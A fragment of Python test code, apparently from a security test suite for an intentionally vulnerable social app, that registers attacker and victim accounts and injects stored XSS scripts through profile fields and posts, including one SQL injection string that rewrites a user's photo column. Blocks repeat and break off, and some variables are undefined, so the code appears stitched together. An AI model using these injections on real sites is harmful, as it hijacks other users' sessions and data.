assert "Initialisation DONE!" in r.text
# Attacker Registration
data = {"username": attackerUsername, "password": attackerPassword}
r = attackerSession.post(SERVER + "/register", data=data)
assert "Welcome" in r.text
assert attackerUsername in r.text
# Attacker About Update
sArgs = {"content": content, "type": "Public"}
data = {
"name": "",
"currentpassword": attackerPassword,
"newpassword": "",
"about": getScript(scrPath, sArgs=sArgs)
}
files = {"photo": ""}
r = attackerSession.post(SERVER + "/update_profile", data=data, files=files)
assert "Succesfully" in r.text
assert attackerUsername in r.text
# Victim Registration
data = {"username": victimUsername, "password": victimPassword}
r = victimSession.post(SERVER + "/register", data=data)
assert "Welcome" in r.text
assert victimUsername in r.text
# Attacker sends a Friend Requests to the Victim
data = {"username": victimUsername}
scrPath = "Common/Scripts/XSS/AcceptsFriendRequest.html"
# Cleaning DB
r = get(SERVER + "/init")
assert "Initialisation DONE!" in r.text
# Attacker Registration
data = {"username": attackerUsername, "password": attackerPassword}
r = attackerSession.post(SERVER + "/register", data=data)
assert "Welcome" in r.text
assert attackerUsername in r.text
# Attacker Creates a Post
sArgs = {"username": attackerUsername}
scr = getScript(scrPath, sArgs=sArgs)
data = {"content": scr, "type": "Public"}
r = attackerSession.post(SERVER + "/create_post", data=data)
assert scr in r.text
# Victim Registration
data = {"username": victimUsername, "password": victimPassword}
r = victimSession.post(SERVER + "/register", data=data)
assert "Welcome" in r.text
assert victimUsername in r.text
# Attacker sends a Friend Requests to the Victim
data = {"username": victimUsername}
r = attackerSession.post(SERVER + "/request_friend", data=data)
assert "Welcome" in r.text
assert username in r.text
# Updating Photo in About Section
sArgs = {"alert": alrText}
data = {
"name":
"",
"currentpassword":
password,
"newpassword":
"",
"about":
"', PHOTO = '\">{}' WHERE USERNAME = '******' -- ".format(
getScript(scrPath, sArgs=sArgs), username)
}
files = {"photo": ""}
r = s.post(SERVER + "/update_profile", data=data, files=files)
assert "Succesfully" in r.text
assert username in r.text
# New Post Creation
data = {"content": content, "type": "Public"}
r = s.post(SERVER + "/create_post", data=data)
assert content in r.text
# Asserting Alert
runAlert(SERVER, SERVER, s, alrText)
# Cleaning DB
r = get(SERVER + "/init")
assert "Initialisation DONE!" in r.text
# Attacker Registration
data = {"username": attackerUsername, "password": attackerPassword}
r = attackerSession.post(SERVER + "/register", data=data)
assert "Welcome" in r.text
assert attackerUsername in r.text
# Attacker Name Update
sArgs = {"username": attackerUsername}
data = {
"name": getScript(scrPath, sArgs=sArgs),
"currentpassword": attackerPassword,
"newpassword": "",
"about": ""
}
files = {"photo": ""}
r = attackerSession.post(SERVER + "/update_profile", data=data, files=files)
assert "Succesfully" in r.text
assert attackerUsername in r.text
# Victim Registration
data = {"username": victimUsername, "password": victimPassword}
r = victimSession.post(SERVER + "/register", data=data)
assert "Welcome" in r.text
assert victimUsername in r.text